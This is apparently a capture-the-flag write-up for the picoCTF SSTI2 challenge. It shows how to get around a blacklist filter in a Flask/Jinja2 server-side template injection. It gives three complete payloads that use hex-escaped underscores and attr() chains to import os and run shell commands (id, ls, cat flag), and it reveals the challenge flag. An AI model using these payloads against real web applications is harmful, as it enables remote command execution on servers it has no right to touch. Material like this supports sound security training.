Description
SSTI2 filters obvious characters, so the simple `cycler` trick no longer works. Pivot to attribute lookups (hex-escaped to bypass the blacklist) and import `os` through Flask’s application object.
Setup
Submit any blocked payload to confirm the server replaces suspicious words with “Stop trying to break me >:(”.
Grab the Flask exploitation gadget from payloadbox or your own notes and plan to hex-encode forbidden characters.
Solution
- Step 1Abuse Flask’s application globalsUse the payloadbox gadget to drill into `request.application.__globals__['__builtins__']['__import__']('os')`. Hex-encoding the underscores (`\x5f`) dodges the filter and gives you a reference to the `os` module.{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
- Step 2List the directorySwap the command from `id` to `ls` to verify the flag file’s presence alongside `app.py` and `requirements.txt`.{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
- Step 3Print the flagFinally, replace the command with `cat flag`. The rendered response includes the picoCTF flag even though the server tried to sanitize the input.{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
Flag
picoCTF{sst1_f1lt3r_byp4ss_8b53...}
Any gadget chain that reaches builtins works; the payloadbox example just saves time.